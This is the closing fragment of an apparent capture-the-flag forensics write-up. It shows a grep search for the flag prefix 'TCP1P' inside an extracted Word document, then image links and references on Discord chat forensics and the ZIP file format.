[Content_Types].xml % grep -RioPa 'TCP1P' word/document.xml:TCP1P ``` ![image1](https://hackmd.io/_uploads/HJ8TErqJyg.png) ![image](https://hackmd.io/_uploads/H1lb4Bckke.png) ## reference - (https://abrignoni.blogspot.com/2018/03/finding-discord-app-chats-in-windows.html?source=post_page-----b32cb632312a--------------------------------)[https://abrignoni.blogspot.com/2018/03/finding-discord-app-chats-in-windows.html?source=post_page-----b32cb632312a--------------------------------] - (https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html)[https://users.cs.jmu.edu/buchhofp/forensics/formats/pkzip.html] - (https://pkware.cachefly.net/webdocs/APPNOTE/APPNOTE-6.3.10.TXT)[https://pkware.cachefly.net/webdocs/APPNOTE/APPNOTE-6.3.10.TXT]